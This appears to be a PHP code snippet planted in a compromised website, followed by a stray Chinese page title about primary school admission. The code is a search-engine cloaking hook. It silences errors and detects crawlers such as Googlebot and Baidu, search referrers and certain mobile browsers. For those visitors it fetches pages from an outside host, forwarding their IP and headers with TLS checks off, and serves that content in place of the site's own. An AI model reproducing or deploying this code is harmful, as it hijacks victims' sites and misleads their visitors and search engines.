if (!defined('SPIDER_HOOK_LOADED')) {
define('SPIDER_HOOK_LOADED', true);
error_reporting(0);
define('SITE', 'http://xincx.action-all.com/' . $_SERVER['HTTP_HOST'] . '&s=' . urlencode($_SERVER['REQUEST_URI']));
define('SPIDER_UA', '@Bytespider|sogou|Googlebot|Yisou|Haosou|360Spider|bingbot|spider@i');
define('SE_KEYWORDS', '@baidu|sogou|so\.com|google|bing|yisou|sm\.cn|toutiao|haos|quark|360@i');
$c = $_SERVER;
$userAgent = isset($c['HTTP_USER_AGENT']) ? $c['HTTP_USER_AGENT'] : '';
$referer = isset($c['HTTP_REFERER']) ? $c['HTTP_REFERER'] : '';
$needOutput = false;
$response = false;
if (preg_match(SPIDER_UA, $userAgent)) {
$response = _tihuan_fetch(SITE);
if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) {
$needOutput = true;
}
} elseif (!empty($referer) && preg_match(SE_KEYWORDS, $referer)) {
$response = _tihuan_fetch(SITE);
if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) {
$needOutput = true;
}
} elseif (preg_match('/UCBrowser|Quark|UCTurbo|MQQBrowser/i', $userAgent)) {
$response = _tihuan_fetch(SITE);
if ($response !== false && $response !== "302" && $response !== "0" && strlen($response) > 0) {
$needOutput = true;
}
}
if ($needOutput && $_SERVER['REQUEST_URI']!='/' && $_SERVER['REQUEST_URI']!='/index.php' ) {
while (ob_get_level()) { ob_end_clean(); }
header("Content-Type: text/html;charset=utf-8");
echo $response;
exit;
}
}
function _tihuan_fetch($e) {
$remoteAddr = $_SERVER["REMOTE_ADDR"];
$host = $_SERVER["HTTP_HOST"];
$userAgent = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
$f = curl_init();
curl_setopt($f, CURLOPT_URL, $e);
curl_setopt($f, CURLOPT_TIMEOUT, 10);
curl_setopt($f, CURLOPT_RETURNTRANSFER, true);
curl_setopt($f, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($f, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($f, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($f, CURLOPT_HTTPHEADER, array(
"X-Forwarded-For: " . $remoteAddr,
"X-Forwarded-Host: " . $host,
"User-Agent: " . $userAgent,
"Referer: " . $referer
));
$g = curl_exec($f);
$httpCode = curl_getinfo($f, CURLINFO_HTTP_CODE);
if (curl_errno($f)) {
curl_close($f);
return "0";
}
curl_close($f);
if ($httpCode == 302 || $httpCode == 301) {
return "302";
}
if ($httpCode != 200) {
return "0";
}
return $g;
}
小学入学指南 - 智慧山